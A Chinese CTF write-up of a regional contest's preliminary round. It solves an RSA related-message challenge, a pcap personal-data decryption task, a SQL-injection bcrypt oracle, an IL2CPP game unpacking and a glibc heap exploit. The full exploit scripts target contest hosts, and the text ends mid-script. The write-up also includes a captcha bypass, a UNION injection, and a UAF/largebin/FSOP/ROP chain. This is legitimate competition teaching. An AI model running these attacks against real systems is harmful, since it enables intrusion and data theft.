宁波市第九届网络安全大赛初赛 Writeup
1. TWRSA(Crypto · 100)
Flag: DASCTF{P0lyn0m1al_GCD_1s_Th3_K3y_T0_RSA}
解法: Franklin-Reiter 相关消息攻击(多项式 GCD)
题面
附件 TWRSA.zip 包含:
task.py:RSA 加密脚本,公钥(n, e=17),常数a, b公开enc.txt:两个密文c1, c2
task.py 核心逻辑:
from Crypto.Util.number import getPrime, bytes_to_long
p, q = getPrime(512), getPrime(512)
n = p * q
e = 17 # 很小的公钥指数
flag = b"DASCTF{...}"
m = bytes_to_long(flag)
a = getRandomRange(2, n) # 公开
b = getRandomRange(2, n) # 公开
c1 = pow(m, e, n) # 密文 1
c2 = pow(a * m + b, e, n) # 密文 2:明文是 m 的仿射变换分析
对题目参数进行归纳,可识别出以下特征:
| 信号 | 含义 |
|---|---|
e = 17 |
指数很小。Franklin-Reiter 的多项式 GCD 复杂度约 O(e²),小 e 才可行 |
两个密文 c1, c2 |
提供两组加密样本 |
a, b 公开 |
两组明文间的变换关系已知 |
c2 = (a·m+b)^e |
第二明文是第一明文的仿射函数 f(x)=ax+b |
上述四项构成 Franklin-Reiter 攻击的完整适用条件。数学上,m 同时是两个多项式的根:
f1(X) = X^e − c1 (因 m^e ≡ c1 mod n)
f2(X) = (aX+b)^e − c2 (因 (a·m+b)^e ≡ c2 mod n)在 Z_n[X] 上计算 gcd(f1, f2),结果必含因子 X − m。当 e 较小时,GCD 恰好为一次式 X − m,经一次取模逆即可还原明文。
题眼:小 e + 仿射相关明文,应直接联想到多项式 GCD。
攻击原理
Franklin-Reiter 相关消息攻击(Franklin & Reiter, 1996):设 m2 = f(m1) = a·m1 + b,则 f1(X) = X^e − c1 与 f2(X) = (aX+b)^e − c2 在 Z_n[X] 上共享根 X = m1。多项式欧几里得算法逐步降次,最终得到 X − m1 的常数倍。
- 复杂度
O(e² · M(log n)),要求 e 较小; - 无需分解
n,无需φ(n),纯公钥信息攻击。
脚本
from Crypto.Util.number import long_to_bytes
n = 138135102345212422731809266578654125421263741277247527001823275028277558784792687955638792735411664664786385055354789115814334998471148614834220637589262273400765606158837835776555245956950490297851781347624743838965800701295655562669888982509373037323009398256131040311476217969876349355188636100189323858719
e = 17
a = 83569586940358269616483736110794388963219631058001258801697045291710199195400482148579966002846094031748727522549265827755957695685599541505034870366329222184857852820619894169255286434870206982751257383401127863604412385165432761065569753353680589063164484059820837387598552737543997828852226963445212665327
b = 126306379194267276529742821477354470543159186929678783757564699918657646687078400294668439303545554324843015121035370635254230607808767176278498127759415349412530449734407997247866924666117281609645700444715667659304006049394635609159672838928033076079864979982977330392135958698967527018497913889682682699713
c1 = 63223410133361659979495914777880794068722032782064277746832775301143976654364124947629297373957018811106810454534207081275822695767399804773422869246358492059488808587178325850627743232015328320685779733024782095383159759972035459543516495558423952356219533597176382437041414699287247816416121835144236700665
c2 = 67879050967633310792776582619133880858175729883729797947563722632111275354989254473463698360968855132443371848470959047709580194662921774251342611326115640825584744607284821773716044021105929039986955814643647088470270852499870979477853176977228506630904043234759595566235200071884100944702655197101547596786
def poly_mulmod(f, g, n):
# multiply polynomials mod n, f,g lists low->high
res = [0] * (len(f) + len(g) - 1)
for i, fi in enumerate(f):
if fi % n == 0:
continue
for j, gj in enumerate(g):
res[i + j] = (res[i + j] + fi * gj) % n
return res
def poly_addmod(f, g, n):
L = max(len(f), len(g))
res = [( (f[i] if i < len(f) else 0) + (g[i] if i < len(g) else 0) ) % n for i in range(L)]
while len(res) > 1 and res[-1] == 0:
res.pop()
return res
def poly_powmod(f, e, n):
# power of polynomial f^e mod n
res = [1]
base = [x % n for x in f]
while e > 0:
if e & 1:
res = poly_mulmod(res, base, n)
base = poly_mulmod(base, base, n)
e >>= 1
return res
def poly_mod(f, g, n):
# f mod g, g monic assumption -> require leading coeff of g invertible mod n
f = [x % n for x in f]
g = [x % n for x in g]
# make g monic by inverting leading coeff
lc = g[-1]
inv_lc = pow(lc, -1, n)
g = [(c * inv_lc) % n for c in g] # now monic
while len(f) >= len(g) and f != [0]:
if len(f) == len(g) and f[-1] == 0:
break
coef = f[-1]
d = len(f) - len(g)
# subtract coef * x^d * g
sub = [0] * d + [(coef * gc) % n for gc in g]
f = [(a - b) % n for a, b in zip(f, sub)] if len(f) >= len(sub) else f
# trim
while len(f) > 1 and f[-1] == 0:
f.pop()
if len(f) == 1 and f[0] == 0:
f = [0]
return f
def poly_gcd(f, g, n):
while g != [0]:
r = poly_mod(f, g, n)
f, g = g, r
# make monic
lc = f[-1]
inv = pow(lc, -1, n)
f = [(c * inv) % n for c in f]
return f
# f1 = X^17 - c1
f1 = [(-c1) % n] + [0] * 16 + [1]
# f2 = (aX + b)^17 - c2
lin = [b % n, a % n]
f2 = poly_powmod(lin, e, n)
f2[0] = (f2[0] - c2) % n
g = poly_gcd(f1, f2, n)
print("gcd degree:", len(g) - 1)
print("gcd:", g)
# if linear: g = x - m => m = -g[0]
if len(g) == 2:
m = (-g[0]) % n
elif len(g) == 3:
# quadratic -> try roots
m = None
print("quadratic gcd")
else:
# higher degree, find roots
m = None
print("higher degree")
if m is not None:
print("m =", m)
print("flag:", long_to_bytes(m))运行:
pip install pycryptodome
python3 twrsa-solve.py输出
gcd degree: 1
gcd: [..., 1] # 即 X - m
m = 569500674440382721586929298834568611587302331308800418954415041565408445283239208788724351713661
flag: b'DASCTF{P0lyn0m1al_GCD_1s_Th3_K3y_T0_RSA}'GCD 次数为 1,m 直接得到,long_to_bytes 还原 flag。

2. dataInfoLeak(DS · 100)
Flag: DASCTF{58620422191328792364068629243227}
解法: pcap 流量分析 → AES-128-ECB 解密 → 按 userid 合并 → CSV 上传校验
题面
附件 dataInfoLeak的附件.zip 包含:
data.pcapng:5332 组 HTTP 请求/响应个人信息整合规范说明.md:CSV 格式规范(userid,username,name,phone,idcard,email,按 userid 升序)及示例行
流量形态:
GET /api/{profile|identity|contact|basic|info}?pass=<16-char-key>
响应体:hex → base64 → AES 密文分析
- 密钥即流量参数:每个请求的
pass恰好 16 字节,与响应体的解密密钥长度一致。按AES.new(pass, AES.MODE_ECB)解密,可还原 PKCS#7 填充的 UTF-8 JSON,如{"userid":2499,"username":"...","email":"...","idcard":"..."}。 - 按 userid 合并:5 个 API 端点各返回
{userid, username, name, phone, idcard, email}的不同子集;同一 userid 出现在多组请求中(pass 轮换),但字段值一致(3000 个用户 0 冲突)。 - 产出 CSV:只保留 6 字段齐全的完整记录(1950 条),按 userid 升序输出。userid 2/3/4/6 的行与规范文档示例完全一致,确认正确性。
- 上传校验:上传至 DAS File Checker(
http://45.40.247.139:18764),评分 100.000%,返回 flag。
验证平台彩蛋
GET /api/captcha 设置的 Flask session cookie 只签名不加密,base64url 解码 + zlib 解压后明文可见验证码答案:
{"<uuid>":"SZK9","session_id":"<uuid>"}因此无需 OCR,直接读 cookie 即可自动过验证码。
脚本
解密 → 合并 → CSV:
#!/usr/bin/env python3
"""dataInfoLeak solver: decrypt HTTP API responses from data.pcapng, merge by userid, emit CSV."""
import subprocess, binascii, base64, json, re, csv, sys
from Crypto.Cipher import AES
from collections import defaultdict
PCAP = 'challenge/extracted/dataInfoLeak的附件/data.pcapng'
OUT = 'employees.csv'
FIELDS = ['userid', 'username', 'name', 'phone', 'idcard', 'email']
def extract_pairs(pcap):
out = subprocess.run(
['tshark', '-r', pcap, '-Y', 'http', '-T', 'fields',
'-e', 'frame.number', '-e', 'ip.src', '-e', 'http.request.method',
'-e', 'http.request.uri', '-e', 'http.file_data'],
capture_output=True, text=True).stdout
records = []
for ln in out.strip().split('\n'):
parts = ln.split('\t')
if len(parts) < 5:
continue
fr, src, method, uri, fd = parts[0], parts[1], parts[2], parts[3], parts[4]
if method == 'GET':
m = re.search(r'pass=([^&\s]+)', uri)
if m:
records.append((int(fr), 'req', uri, m.group(1), ''))
elif method == '' and fd:
records.append((int(fr), 'resp', '', '', fd))
records.sort(key=lambda x: x[0])
pending, pairs = [], []
for fr, typ, uri, p, fd in records:
if typ == 'req':
pending.append((fr, uri, p))
else:
rfr, ruri, rp = pending.pop(0)
pairs.append((rfr, fr, ruri, rp, fd))
return pairs
def decrypt(p, h):
key = p.encode()
b64 = binascii.unhexlify(h)
ct = base64.b64decode(b64)
pt = AES.new(key, AES.MODE_ECB).decrypt(ct)
pad = pt[-1]
if 1 <= pad <= 16 and pt[-pad:] == bytes([pad]) * pad:
pt = pt[:-pad]
return json.loads(pt.decode('utf-8'))
def main():
pairs = extract_pairs(PCAP)
uid_vals = defaultdict(dict)
n = 0
for rfr, sfr, uri, p, h in pairs:
obj = decrypt(p, h)
n += 1
uid = obj['userid']
for f in FIELDS[1:]:
if f in obj:
uid_vals[uid][f] = obj[f]
print(f'decrypted {n} responses, {len(uid_vals)} users')
complete = {u: v for u, v in uid_vals.items() if len(v) == len(FIELDS) - 1}
print(f'complete records: {len(complete)}')
with open(OUT, 'w', newline='', encoding='utf-8') as fh:
w = csv.writer(fh)
w.writerow(FIELDS)
for uid in sorted(complete, key=int):
v = complete[uid]
w.writerow([uid, v['username'], v['name'], v['phone'], v['idcard'], v['email']])
print(f'wrote {OUT}')
if __name__ == '__main__':
main()上传(含从 session cookie 取验证码):
#!/usr/bin/env python3
"""Upload employees.csv to the DAS File Checker and retrieve the validation result."""
import base64, zlib, json, sys, time, requests
BASE = 'http://45.40.247.139:18764'
def get_captcha_answer(sess):
r = sess.get(f'{BASE}/api/captcha', timeout=30)
ck = sess.cookies.get('session')
if not ck:
raise RuntimeError('no session cookie')
parts = ck.split('.')
payload = parts[1] + '=' * (-len(parts[1]) % 4)
data = base64.urlsafe_b64decode(payload)
try:
dec = zlib.decompress(data)
except Exception:
dec = data
obj = json.loads(dec)
# answer is the value whose key is not 'session_id'
ans = None
for k, v in obj.items():
if k != 'session_id':
ans = v
return ans
def main():
csv_path = sys.argv[1] if len(sys.argv) > 1 else 'employees.csv'
sess = requests.Session()
ans = get_captcha_answer(sess)
print('captcha answer:', ans)
with open(csv_path, 'rb') as fh:
files = {'file': (csv_path.split('/')[-1], fh, 'text/csv')}
data = {'captcha': ans}
r = sess.post(f'{BASE}/api/upload', files=files, data=data, timeout=300)
print('upload response:', r.status_code, r.text[:500])
try:
j = r.json()
except Exception:
print('non-json response')
sys.exit(1)
if j.get('state') == -1:
print('upload rejected:', j.get('reason'))
sys.exit(1)
key = j.get('key')
print('task key:', key, 'position:', j.get('position'))
# poll status
for i in range(120):
time.sleep(5)
r = sess.get(f'{BASE}/api/status/{key}', timeout=30)
st = r.json()
pos = st.get('position')
if pos is not None:
print(f'poll {i}: position={pos} state={st.get("state")}')
if st.get('state') == 1:
print('RESULT:', json.dumps(st, ensure_ascii=False, indent=2))
break
if st.get('state') == -1:
print('FAILED:', json.dumps(st, ensure_ascii=False, indent=2))
break
else:
print('timeout waiting for result')
if __name__ == '__main__':
main()输出
decrypted 5332 responses, 3000 users
complete records: 1950
wrote employees.csv平台结果:
{"filename":"employees.csv","flag":"DASCTF{58620422191328792364068629243227}\n","score":"100.000%","state":1,"reason":"上传成功"}
3. crazy_sql(Web · 100)
Flag:DASCTF{10597641811452686425867357305136}
解法: UNION 注入构造哈希预言机 + bcrypt 72 字节截断逐字符爆破
题面
PHP + SQLite 登录页,/?source 泄露源码。关键逻辑:
$secret = file_get_contents('/secret.txt'); // bcrypt salt
$pwhash = crypt($password, $secret); // 哈希回显于错误信息
if (isset($_GET['salt']) && strcmp($_GET['salt'], $secret) === 0) {
$password .= file_get_contents('/flag.txt'); // 密码后拼接 flag
}
$row = querySingle("SELECT username, pwhash FROM users WHERE username='$username'");
// 失败回显:"你的登陆密码错误:<hash>"可利用点:
- SQL 注入:
username的黑名单仅含insert|update|delete|drop|truncate|alter|database|attach|values|load_extension,遗漏union/select。 - 哈希预言机:
crypt($password, $secret)结果回显,任意密码可换取其 bcrypt 哈希。 ?salt=<secret>时密码变为password + flag,回显哈希为crypt(password.flag, secret)。- bcrypt 只使用密码前 72 字节:用
'A'*(71-i)填充使 72 字节窗口恰好覆盖flag[0..i],逐字符爆破。
攻击流程
Step 1:获取 secret
用 UNION 注入构造一行登录数据,同时以回显哈希登录为 admin:
POST /?salt=... username=' UNION SELECT 'admin','<oracle-hash>' -- password=<chosen>登录成功后页面注释泄露完整 secret:
<!-- secret: $2a$10$77b438009c258a4cb0215c98a19cfb61$ -->(salt[]=x 数组参数会触发 PHP fatal error,仅泄露 secret 前缀,不足以完整利用。)
Step 2:本地复算
本地验证 PHP crypt() 与 Python bcrypt 输出一致(有效盐为 $2a$10$77b438009c258a4cb0215O),此后可离线复算任意 crypt(password+flag, secret)。
Step 3:72 字节截断爆破
bcrypt 只取密码前 72 字节。发送 password = 'A'*(71-i)(服务端密码为 'A'*(71-i) + flag),72 字节窗口覆盖:
窗口: A A ... A | flag[0] flag[1] ... flag[i] (共 72 字节)对每个候选字符 c,本地计算 bcrypt('A'*(71-i) + prefix + c) 与预言机回显比对,命中即 flag 第 i 位。每字符约 1 次预言机查询 + 本地 bcrypt。
Step 4:验证
爆破出 DASCTF{10597641811452686425867357305136}(40 字符)。独立验证:预言机查询 password='x' 的回显哈希与本地 bcrypt('x' + flag) 完全一致。
脚本
#!/usr/bin/env python3
"""crazy_sql exploit
Oracle: POST /?salt=<secret> with username injection -> echoes crypt(password+flag, secret)
bcrypt truncates at 72 bytes => password of length 71 exposes flag[0], etc.
"""
import requests, bcrypt, string, re, sys, time
URL = 'http://45.40.247.139:16881/'
SECRET = open('/workspace/secret.txt').read().strip()
SALT29 = b'$2a$10$77b438009c258a4cb0215O' # effective bcrypt salt derived by PHP
CHARSET = string.printable[:95] # printable ascii
INJ = "' UNION SELECT 'x','y' -- " # makes query return a row so hash is echoed
def oracle(password, salt=True, retries=3):
params = {'salt': SECRET} if salt else None
last = None
for a in range(retries):
try:
r = requests.post(URL, params=params,
data={'username': INJ, 'password': password},
timeout=25)
m = re.search(r'你的登陆密码错误:(\S+)', r.text)
if m:
return m.group(1)
if '检测到潜在的' in r.text:
return 'BLOCKED'
last = r.text
except Exception as e:
last = repr(e)
time.sleep(1)
raise RuntimeError('oracle failed: ' + str(last)[:300])
def bcrypt_hash(pw_bytes):
return bcrypt.hashpw(pw_bytes, SALT29).decode()
def find_char(prefix, i):
# password = 'A'*(71-i) pure padding; oracle hashes password+flag truncated to 72
# => 72-byte window = 'A'*(71-i) + flag[0..i] (i+1 flag chars)
pad = 'A' * (71 - i)
H = oracle(pad)
if H == 'BLOCKED':
print(f'[!] pattern blocked at i={i}'); return None, H
for c in CHARSET:
cand = (pad + prefix + c).encode() # len == (71-i)+i+1 == 72
if bcrypt_hash(cand) == H:
return c, H
return None, H
def main():
prefix = ''
print('secret:', SECRET)
# sanity: no-salt oracle should equal local crypt of password
H0 = oracle('mypw123', salt=False)
print('no-salt oracle mypw123:', H0)
local = bcrypt_hash(b'mypw123')
print('local :', local, 'match:', H0 == local)
for i in range(80):
c, H = find_char(prefix, i)
if c is None:
print(f'[!] no candidate at i={i}; H={H}')
break
prefix += c
print(f'i={i:2d} char={c!r} prefix={prefix!r}')
if c == '}':
print('[*] got closing brace; verifying...')
break
if i > 0 and c == prefix[0]:
# possible wrap-around
print(f'[*] wrap-around suspect at i={i} (char == flag[0])')
break
print('=== candidate flag:', prefix)
# verify with a fresh oracle query
Hv = oracle('x')
localv = bcrypt_hash(b'x' + prefix.encode())
print('verify oracle:', Hv)
print('verify local :', localv, 'MATCH' if Hv == localv else 'MISMATCH')
open('/workspace/flag_candidate.txt', 'w').write(prefix)
return prefix
if __name__ == '__main__':
main()运行:
pip install requests bcrypt
python3 exploit.py
4. QRCodeWorld(Reverse · 300)
Flag: DASCTF{e45e144f-fe2a-4d49-9f3f-1af4f9df0244}
解法: Unity IL2CPP 加壳脱壳(Unicorn 模拟)→ Cpp2IL 代码还原 → 元数据 QR 矩阵提取 → 解码
题面
附件为 Unity IL2CPP 游戏(Unity 2022.3.16f1,metadata v29.1):GameAssembly.dll + global-metadata.dat。提示为“flag就在你脚下”,flag 被渲染成地面上的 QR 码。
攻击流程
Step 1:场景结构确认
UnityPy 读取场景 level1:唯一 MonoBehaviour 为 QRCodeGenerator,无序列化数据,QR 载荷由代码构建。
Step 2:脱壳 GameAssembly.dll
DLL 被自定义 aPLib 风格 LZ 壳压缩(节 DAS0/DAS1/DAS2,EP stub 0x18349d790,OEP 0x1806cdd90;DAS0 为 45MB 纯虚拟节)。用 Unicorn 模拟 EP stub,hook LoadLibraryA/GetProcAddress/VirtualProtect(IAT 槽 0x18349e140/148/150),dump 出 45MB 脱壳镜像(unpack.py → GameAssembly_unpacked.dll)。
Step 3:Cpp2IL 还原代码
对脱壳 DLL 运行 Cpp2IL,得到 Assembly-CSharp 的 ISIL:
.ctor:qrCodeData = new int[29,29],经RuntimeHelpers.InitializeArray从字段默认值 blob 填充。Start() → GenerateQRCode():遍历i,j in 0..29,对qrCodeData[i,j] == 1的格子在地面摆放黑色方块,即渲染 29×29 QR 矩阵。
Step 4:从元数据提取 QR 矩阵
初始化数据位于 global-metadata.dat 的 Il2CppGlobalMetadataHeader.fieldAndParameterDefaultValueData 节。解析头(注意是 {Offset, Size} 字节数段头而非计数)+ 扫描 841 个 int32 全 0/1 窗口(暗模块数平衡),在偏移 0x1c3070 处找到矩阵(421 个暗模块)。
Step 5:渲染 + 解码
29×29 渲染成带静区的 PNG,用 pyzbar 解码。
脚本
#!/usr/bin/env python3
"""
QRCodeWorld — solve script.
The flag is "under your feet": the game QRCodeWorld (Unity IL2CPP) renders a
ground QR code from QRCodeGenerator.qrCodeData, a 29x29 int[,] initialized via
RuntimeHelpers.InitializeArray from the field's default-value blob stored in
global-metadata.dat (Il2CppGlobalMetadataHeader.fieldAndParameterDefaultValueData).
This script:
1. Parses the IL2CPP global-metadata.dat header to locate the
fieldAndParameterDefaultValueData section.
2. Finds the 29*29 = 841-int32 window whose values are all 0/1 and balanced
(the QR module matrix; 200 < dark modules < 650).
3. Renders it as a PNG (with quiet zone) and decodes it with pyzbar.
Output: the flag DASCTF{...}
"""
import struct
import numpy as np
from PIL import Image
import pyzbar.pyzbar as pyzbar
METADATA = "qrcodeworld/QRCodeWorld_Data/il2cpp_data/Metadata/global-metadata.dat"
SIZE = 29 # qrCodeData = new int[29,29] (from QRCodeGenerator .ctor)
def section(meta, off):
"""Read an Il2CppGlobalMetadataSectionHeader {Offset, Size} at file offset `off`."""
o, s = struct.unpack_from("<II", meta, off)
return o, s
def find_qr_blob(meta):
# fieldAndParameterDefaultValueData is the 9th header section -> file offset 8+8*8=72
fapd_off, fapd_size = section(meta, 72)
data = meta[fapd_off:fapd_off + fapd_size]
a = np.frombuffer(data, dtype="<u4")
n = SIZE * SIZE
for i in range(0, len(a) - n + 1):
w = a[i:i + n]
if np.all((w == 0) | (w == 1)):
ones = int(w.sum())
if 200 < ones < 650: # balanced QR matrix
return w.reshape(SIZE, SIZE), fapd_off + i * 4
raise RuntimeError("QR blob not found")
def render(grid, quiet=4, scale=10):
h, w = grid.shape
img = np.ones((h + 2 * quiet, w + 2 * quiet), dtype=np.uint8) * 255
img[quiet:quiet + h, quiet:quiet + w] = np.where(grid == 1, 0, 255)
return Image.fromarray(img).resize(((w + 2 * quiet) * scale, (h + 2 * quiet) * scale), Image.NEAREST)
def main():
meta = open(METADATA, "rb").read()
assert struct.unpack_from("<I", meta, 0)[0] == 0xFAB11BAF, "bad metadata magic"
grid, off = find_qr_blob(meta)
print(f"[*] QR matrix found at metadata offset 0x{off:x}")
im = render(grid)
im.save("/workspace/qr_flag.png")
res = pyzbar.decode(im)
for r in res:
print("[+] FLAG:", r.data.decode())
if not res:
print("[-] decode failed")
return res[0].data.decode() if res else None
if __name__ == "__main__":
main()
5. Regular_apples(Pwn · 200)
Flag: DASCTF{CongRaTulat1ons_ON_Get1ng_The_R1ght_App1e}
解法: UAF + Largebin attack(House-of-Apple 风格)+ FSOP + setcontext 栈迁移 + ROP
远程: nc 45.40.247.139 22685
题面
64 位 PIE 笔记程序:
1.Add note
2.Delete note
3.Edit note
4.Show note
>附件含 libc.so.6(glibc 2.35-0ubuntu3.8)与 loader。
漏洞与信号识别
反汇编与黑盒测试得到三个关键事实:
| 信号 | 结论 |
|---|---|
delete 只 free(ptr[i]),不清指针/大小 |
UAF:释放后仍可 edit/show |
申请尺寸限制 [0x500, 0x520](chunk 0x510..0x530) |
全为大 chunk:无 tcache,走 unsorted/large bin |
show 仅输出 8 字节、edit 写满 size 字节 |
泄露受限(8 字节足够);edit 全量写 |
攻击路线推理:
- UAF + 大 chunk → unsorted bin 泄露(fd/bk 指向 libc)与 largebin attack(任意地址写)。
- 尺寸
0x510/0x520恰为 largebin 76 的两个档位 → “smaller-than-smallest 分支写bk_nextsize“手法可用。 - 需要控制流劫持且有 UAF 大 chunk → FSOP(劫持
_IO_list_all);glibc 2.35 采用_IO_wfile_jumps的 wfile-overflow 路径(House-of-Apple 系列)。 - FSOP 需控制执行流 → setcontext+0x126 ret-pivot 跳到堆上 ROP。
- 远程可能开启 seccomp → 预留
open/read/write直读 flag 的兜底(实测确实开启)。
题眼:UAF + 大 chunk 组合是本题唯一可利用入口;后续步骤均围绕“将
_IO_list_all改写为堆指针”展开。
堆布局与利用链
堆布局
低地址 高地址
+-------------+ chunk A (0x520) ← idx0
+-------------+ chunk G (0x510) ← idx1 (guard)
+-------------+ chunk B (0x510) ← idx2
+-------------+ chunk H1 (0x510) ← idx3 (ROP 栈 + 路径串)
+-------------+ chunk C (0x510) ← idx4
+-------------+ chunk H2 (0x510) ← idx5 (guard)Largebin attack(写 _IO_list_all)
目标:*(A->bk_nextsize + 0x20) = B_chunk,即 _IO_list_all = B_chunk
1. free A;malloc(0x520) → A 进入 largebin 76 并留驻(0x520 < 0x530,lookup 跳过)
2. UAF-edit A:A->bk_nextsize = _IO_list_all - 0x20
3. free B;malloc(0x520):
B (0x510) 以 "smaller-than-smallest" 分支插入 largebin 76(无检查)
→ 执行 *(A->bk_nextsize + 0x20) = B_chunk
→ 即 _IO_list_all = B_chunk
同一次 malloc 因 lookup 跳过而正常返回(不崩溃)FSOP 链(exit 触发)
add(非法 size) → exit()
→ _IO_flush_all_lockp 遍历 _IO_list_all (= B_chunk)
→ 假 _IO_FILE at B:
vtable = _IO_wfile_jumps
_wide_data = W (B+0x100)
W->_IO_write_base = 0, W->_IO_write_ptr = 1 ← 触发 wfile overflow
W->_wide_vtable = V (B+0x200)
V[0x68] (__doallocate) = setcontext+0x126 ← ret-pivot
→ _IO_wfile_overflow → _IO_wdoallocbuf
→ call wide_vtable->__doallocate(fp)
→ setcontext 从 W 载入 rdi/rsi/rdx/rcx
→ push [W+0xa8]; ret → 跳到 "mov rsp,rdx; ret" (0x5a120)
→ rsp = 堆上 ROP 栈(W+0x88 指向)
→ ROP: open/read/write 读 /flag远程环境差异(踩坑核心)
用已工作的 fwrite 原语 dump 远程 libc 内存逐项核对:
| 符号 | 附件 libc | 远程 libc | 结论 |
|---|---|---|---|
unsorted (main_arena+96) |
0x21ace0 | 0x21ace0 | ✅ 一致 |
_IO_list_all |
0x21b680 | 0x21b680 | ✅ 一致 |
_IO_wfile_jumps |
0x2170c0 | 0x2170c0 | ✅ 一致 |
setcontext |
0x539e0 | 0x539e0 | ✅ 一致 |
puts / fwrite |
0x80e50 / 0x7ff20 | 同 | ✅ 一致 |
open |
0x1144e0 | 0x114560 | ⚠️ +0x80 |
read |
0x1147d0 | 0x114850 | ⚠️ +0x80 |
write |
0x114870 | 0x1148f0 | ⚠️ +0x80 |
pop rdx; pop r12; ret |
0x11f2e7 | 0x11f367 | ⚠️ +0x80 |
两个额外环境事实:
- 远程 seccomp 屏蔽
execve/system(fork/exec 全禁)→ 无 shell,只能open/read/write直读 flag。 - socket 时序:接近满长(≥~0x500B)的 edit payload 与 socket
read()竞争,残余字节破坏下一个菜单输入 → 只发每次 edit 实际所需字节(程序read恰好返回所发长度)。
脚本
#!/usr/bin/env python3
"""
Regular_apples — pwn (heap) challenge
=====================================
Remote: nc 45.40.247.139 22685
Vulnerability: use-after-free in the note program (free does not clear the
pointer/size), only sizes in [0x500,0x520] (large chunks, no tcache).
Exploit chain:
1. Leak libc + heap via freed unsorted-bin chunks (show = 8 bytes).
2. Largebin attack (House-of-Apple-style): corrupt A->bk_nextsize so that
inserting a smaller chunk B writes B's chunk pointer into `_IO_list_all`.
(Request size nb=0x530 keeps the largebin lookup from touching the
corrupted bin, so the attack malloc returns cleanly.)
3. FSOP on exit: `_IO_list_all` -> fake _IO_FILE at B. The wfile-overflow
path (vtable = _IO_wfile_jumps, _wide_data->_IO_write_base==0) reaches
_IO_wdoallocbuf -> wide-vtable->__doallocate.
4. __doallocate = setcontext+0x126 (ret-pivot): sets rdi/rsi/rdx/rcx from
the wide-data area W, then `push [W+0xa8]; ret`.
5. Jump to `mov rsp,rdx; ret` (0x5a120) with rdx = heap ROP stack =>
full ROP chain: open("/flag",0); read(fd,buf,0x100); write(1,buf,0x100).
IMPORTANT remote-libc notes (the remote libc differs from the attached one):
* unsorted/_IO_list_all/_IO_wfile_jumps/setcontext/puts/fwrite match the
attached libc (glibc 2.35-0ubuntu3.8).
* The syscall-wrapper region (open/read/write) is shifted by +0x80:
open = 0x114560 (attached: 0x1144e0)
read = 0x114850 (attached: 0x1147d0)
write = 0x1148f0 (attached: 0x114870)
pop rdx;pop r12;ret = 0x11f367 (attached: 0x11f2e7)
* execve/system are blocked by seccomp on the remote (no shell), so the
flag is read via open/read/write.
* Long edit payloads (>=~0x500 bytes) can race with read() on the socket
and leave stray bytes -> desync. Fix: send only the bytes each edit
actually needs (read returns exactly what we sent).
Flag: DASCTF{CongRaTulat1ons_ON_Get1ng_The_R1ght_App1e}
"""
from pwn import *
import time
context.arch = 'amd64'
context.log_level = 'info'
HOST = '45.40.247.139'
PORT = 22685
# ---- remote libc offsets (verified by dumping the remote libc) ----
OPEN = 0x114560
READ = 0x114850
WRITE = 0x1148f0
MOV_RSP_RDX = 0x5a120 # mov rsp, rdx; ret
POP_RDI = 0x2a3e5
POP_RSI = 0x2be51
POP_RDX_R12 = 0x11f367 # pop rdx; pop r12; ret
IO_LIST_ALL = 0x21b680
IO_WFILE_JUMPS = 0x2170c0
UNSORTED_OFF = 0x21ace0
BIN76_HEAD = 0x21b430
SC_RETPIVOT = 0x539e0 + 0x126
def start():
return remote(HOST, PORT, timeout=15)
def add(p, idx, size, content=b'A'*8):
p.sendlineafter(b'> ', b'1'); p.sendlineafter(b'Index: \n', str(idx).encode())
p.sendlineafter(b'Size: \n', str(size).encode()); p.sendafter(b'Content: \n', content)
def delete(p, idx):
p.sendlineafter(b'> ', b'2'); p.sendlineafter(b'Index: \n', str(idx).encode())
def edit(p, idx, content):
p.sendlineafter(b'> ', b'3'); p.sendlineafter(b'Index: \n', str(idx).encode())
p.sendafter(b'Content: \n', content)
def show(p, idx):
p.sendlineafter(b'> ', b'4'); p.sendlineafter(b'Index: \n', str(idx).encode())
return p.recvn(8)
def build_rop(libc, path_addrs, BUF):
chain = []
def q(*vals):
for v in vals: chain.append(v)
fd = 3
for path in path_addrs:
q(libc+POP_RDI, path)
q(libc+POP_RSI, 0)
q(libc+OPEN)
q(libc+POP_RDI, fd)
q(libc+POP_RSI, BUF)
q(libc+POP_RDX_R12, 0x100, 0)
q(libc+READ)
q(libc+POP_RDI, 1)
q(libc+POP_RSI, BUF)
q(libc+POP_RDX_R12, 0x100, 0)
q(libc+WRITE)
fd += 1
return b''.join(p64(x) for x in chain)
def exploit(paths, verbose=True):
p = start()
def LOG(m):
if verbose: log.info(m)
# heap layout: A(0x520), G(0x510), B(0x510), H1(0x510), C(0x510), H2(0x510)
add(p,0,0x510); add(p,1,0x500); add(p,2,0x500); add(p,3,0x500); add(p,4,0x500); add(p,5,0x500)
# leaks (free B and C into unsorted)
delete(p,2); delete(p,4)
libc_leak = u64(show(p,2)) # B->fd = unsorted head
heap_leak = u64(show(p,4)) # C->fd = B_chunk
libc = libc_leak - UNSORTED_OFF
B_chunk = heap_leak
A_chunk = B_chunk - 0x520 - 0x510
B_user = B_chunk + 0x10
H1_user = B_chunk + 0x520
LOG(f'libc={hex(libc)} B_chunk={hex(B_chunk)}')
# reclaim C and B
add(p,6,0x500); add(p,7,0x500)
# free A; malloc(0x520) puts A (0x520) into largebin 76 (lookup skipped)
delete(p,0); add(p,8,0x520)
# corrupt A->bk_nextsize = _IO_list_all - 0x20
payload = p64(libc+BIN76_HEAD)+p64(libc+BIN76_HEAD)+p64(A_chunk)+p64(libc+IO_LIST_ALL-0x20)
edit(p,0,payload) # short payload -> no socket desync
# free B; malloc(0x520) -> B binned (smaller-than-smallest) -> *_IO_list_all = B_chunk
delete(p,2); add(p,9,0x520)
LOG('[+] attack done')
# ---- ROP chain + path strings in H1 (note3) ----
ROP_STACK = H1_user + 0x100
BUF = H1_user + 0x20
path_addrs = []
h_payload = bytearray(0x500)
for i, path in enumerate(paths):
off = 0x20 + i*0x40
h_payload[off:off+len(path)] = path + b'\x00'
path_addrs.append(H1_user + off)
rop = build_rop(libc, path_addrs, BUF)
h_payload[0x100:0x100+len(rop)] = rop
edit(p,3, bytes(h_payload[:0x100+len(rop)]))
LOG('[+] ROP written')
# ---- fake FILE at B (note2) ----
W = B_user + 0x100
V = B_user + 0x200
LOCK = B_user + 0x300
fake = bytearray(0x500)
fake[0x58:0x60] = p64(0) # _chain
fake[0x78:0x80] = p64(LOCK) # _lock
fake[0x90:0x98] = p64(W) # _wide_data
fake[0xb0:0xb4] = p32(1) # _mode
fake[0xc8:0xd0] = p64(libc + IO_WFILE_JUMPS)
fake[0x118:0x120] = p64(0) # W+0x18 write_base
fake[0x120:0x128] = p64(1) # W+0x20 write_ptr
